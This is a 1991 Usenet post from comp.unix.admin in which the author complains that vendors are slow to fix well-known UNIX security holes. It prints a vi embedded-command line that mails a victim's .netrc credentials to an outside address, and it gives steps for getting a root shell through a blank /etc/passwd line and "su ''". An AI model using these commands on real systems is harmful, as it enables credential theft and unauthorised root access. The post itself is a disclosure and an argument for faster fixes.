Path: utzoo!utgpu!news-server.csri.toronto.edu!cs.utexas.edu!wuarchive!zaphod.mps.ohio-state.edu!rpi!batcomputer!cornell!uw-beaver!mit-eddie!minya!jc From: jc@minya.UUCP (John Chambers) Newsgroups: comp.unix.admin Subject: Re: Questions about UNIX viruses Message-ID: <688@minya.UUCP> Date: 13 Apr 91 16:26:01 GMT References: <1991Apr01.203128.13427@esleng.ocunix.on.ca> <1177@cthulhuControl.COM> <2755@legato.Legato.COM> Lines: 85 In article <2755@legato.Legato.COM>, nowicki@legato (Bill Nowicki) writes: > In article <11685@dog.ee.lbl.gov> torek@elf.ee.lbl.gov (Chris Torek) writes: > >... raisch@Control.COM (Robert Raisch) writes: > >>It should be noted that the [Internet] Worm used WELL KNOWN trapdoors and > >>flaws in systems software to attack. Both Sun and Dec were aware of these > >>security holes as far back as 1980. > > > >Oh really? Please produce some evidence to this effect. > I would like to repeat this request. I was the software engineer > working on sendmail for Sun at the time, and it was news to me. The sendmail problem I don't have any history on, but there are several other similar problems in Unix utilities for which I can give examples with dates that show how hard it can be to get the news out. Back in '83 (just after I moved to Massachusetts, to I know I have the date right) there was a flurry of dire warnings on several bulletin boards concerning a new "feature" in the vi editor. This was the ability of vi to notice embedded lines starting with a ':', and interpret them as vi commands during initial loading of the file. It was pointed out what could be done by sending mail to a user (especially a super-user) that contained lines like: :!mail joe@some.where <$HOME/.netrc :-,.d This is of course a valuable feature of vi, but it should be disabled by default (as it is now in most releases), so that the user must put something in $EXINIT or .exrc to enable it. It has been 8 years since this was widely publicised. Just a few months ago I discovered that the vi from one vendor still had this feature enabled by default. 8 years! I was tempted to email them a bug report that did something like the above to illustrate the problem. I resisted, and just embedded a command like :!echo "There's a security hole in the vi editor."|mail root $USER No, I won't tell you which vendor this was. You should try it on your system, and if it works, you know what to do. For another example, it's now been almost exactly 10 years since I learned about the problems caused by a blank line in the /etc/passwd file. Many vendors have fixed it; others haven't. For instance, last year I saw some shocked expressions on the faces of a number of people at Digital when I asked them to add such a blank line, then typed: su '' in a non-super-user window and immediately got a '#' prompt. This was on some Ultrix 3.1 systems. Recently, I tried it on some 4.1 systems, and to my relief it no longer worked. But it took nearly a decade to correct this problem in Ultrix, and it has been know to me and others, and described in articles like this, over and over and over. You might try it on your system. If it doesn't work, try one more experiment. With the blank line in the password file and after your entry, change your own password, and then try the "su ''" command. Sometimes the blank line itself won't work, but when some user changes his password, the rest of the /etc/passwd file gets rewritten, and the blank line becomes: ::0:::: which is the null-super-user entry that elicits the bug. 10 years!? How do you get the word out? Both of these problems have been thoroughly documented on numerous bulletin-boards. Lots of email has passed back and forth describing them. Why the #*&%^$& is it so difficult to correct such problems? As for sendmail, well, I haven't followed the appropriate bulletin boards to see all the warnings that may or may not have been there. But really, I don't need to. Just look around at how sendmail is installed. Almost everywhere, it runs as root, talks on TCP port 25 in ASCII to anyone who knows its language, requires no authentication, and is capable of running shell commands in response to its input. Add to that the fact that it is "controlled" by a config file that is poorly understood by all but a handful of experts, and you have a sure entryway for all sorts of unwanted actions. I mean, it doesn't take a genius to realize the potential. How could anyone with even the slightest understanding of computer security not be suspicious? What bigger red flag could there possibly be? [Well, OK, you could install DOS. ;-] -- All opinions Copyright (c) 1991 by John Chambers. Inquire for licensing at: Home: 1-617-484-6393 Work: 1-508-486-5475 Uucp: ...!{bu.edu,harvard.edu,ima.com,eddie.mit.edu,ora.com}!minya!jc